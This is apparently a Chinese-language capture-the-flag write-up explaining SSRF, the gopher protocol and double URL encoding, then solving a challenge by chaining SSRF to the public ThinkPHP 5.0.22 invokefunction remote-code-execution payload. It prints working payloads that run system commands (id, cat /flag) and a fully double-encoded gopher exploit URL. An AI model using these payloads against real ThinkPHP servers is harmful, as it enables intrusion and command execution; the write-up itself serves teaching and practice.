SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击
者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是
能够直接对目标网站的内部系统发起请求。(因为他是从内部系统访
问的,所以可以通过它攻击外网无法访问的内部系统,也就是把目标
网站当中间人)
Gopher是Internet.上一个很有名的信息查找系统,它将Internet.上的文件组织成某种索引,很方便用户获取。Gopher协议使得Internet上的所有Gopher客户程序能够与已注册的Gopher服务器对话。简单来说,在WWW出现之前,Gopher 是Internet.上最主要的检索工具。大家在学习认识的时候可以将其当做一个个等价于访问网页的正常请求方式
它的使用格式是gopher://URL。
在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。
这个漏洞是5.0.22版本的一个很著名的漏洞。
:对于一般的系统来说,没有补上的话,就会被攻击者构造get进行rce.
这是已经公开的payload
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_ array&vars[0]=system&vars[1][]=id
具体大家可以看这位大佬写的博客
http://www.secflag.com/archives/505.html
为什么要进行URL编码
我们都知道Http协议中参数的传输是"key=value"这种简直对形式的,如果要传多个参数就需要用“&”符号对键值对进行分割。如"?name1 =value1 &name2=value2",这样在服务端在收到这种字符串的时候,会用“&”分割出海-一个参数,然后再用“=”来分割出参数值。
name1=value1&name2=value2
6E616D6531 3D 7661 6C75653126 6E61 6D65323D 76616C756532。
6E616D6531: name1
3D: =
76616C756531: value1
26:&
6E616D6532: name2
3D: =
76616C756532: value2
服务端在接收到该数据后就可以遍历该字节流,首先-一个字节-一个字节的吃,当吃到3D这字节后,服务端就知道前面吃得字节表示一个key,再想后吃,如果遇到26,说明从刚才吃的3D到26字节之间的是.上一-个key的value,以此类推就可以解析出客户端传过来的参数。
现在有这样一个问题,如果我的参数值中就包含=或&这种特殊字符的时候该怎么办。
比如说“name1=a” ,其中a的值是“va&lu=e1”字符串,那么实际在传输过程中就会变成这样’name1=va&lu=e1”。我们的本意是就只有一一个键值对,但是服务端会解析成两个键值对,name1=va&lu=e1这样就产生了歧义。
详细的介绍大家可以看这位大佬写的博客
https://www.cnblogs.com/jerrysion/p/5522673.html
http://ip?url=gopher://URL 第二次编码来自gopher协议,当这个url经过服务器时,被解码时gopher又变为原来带有特殊字符的形式,当它传入函数,进行第二次请求时,它是以一个没有编码过得状态特殊字符进行的请求,那么这个时候服务端发出的请求服务器还是不认定,所以我们要让gopher进行二次编码,二次编码之后,它传入到参数里面,解完了一次,以一次编码的形式传入函数里进行第二次请求,服务器又解码了一次才变成我们正常所能理解的网页请求。
URL:180.153.183.49:7200/1/public
可以看到这是一台内网机器,只接受本机请求,一般看到这句话时,一般感觉肯定是X-Forwarded-For头漏洞,用burpsuite改发包请求,这个地方源代码限制了访问IP,XFF只能判断发起源头
180.153.183.49:7200/1/public/robots.txt
“library/think/Request.php”这个文件是TP5.0版本中,post漏洞的问题文件,出题人说我修补了这个文件,即不存在post漏洞,可能存在get漏洞,,即能联想到ssrf,要找到可以输入参数的地方
gopher://127.0.0.1:80/ GET/index.php?..
gopher请求包[GETPOST等请求方法)由三个部构成,分别是:方法-URI-协议
http:/180.153.183.49:7200/1/public/ssrfphp?url=
gopher://127.0.0.1:80/_GET
/1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
二次编码,需要注意的是gopher协议编码的空格只支持编码%2B,不支持%20
gopher://127.0.0.1:80/ GET%20
%252F1%252Fpublic%252Findex.php%253Fs%253Dindex%252F%255Cthink%255Capp%252Finvokefunction%2526function%253Dcall_user_func_array%2526vars%255B0%255D%253Dsystem%2526vars%255B1%255D%255B%255D%253Dcat%2B%252Fflag
最后组合
http://180.153.183.49:7200/1/public/ssrf.php?url=gopher://127.0.0.1:80/GET%20%252F1%252Fpublic%252Findex.php%253Fs%253Dindex%252F%255Cthink%255Capp%252Finvokefunction%2526function%253Dcall_user_func_array%2526vars%255B0%255D%253Dsystem%2526vars%255B1%255D%255B%255D%253Dcat%2B%252Fflag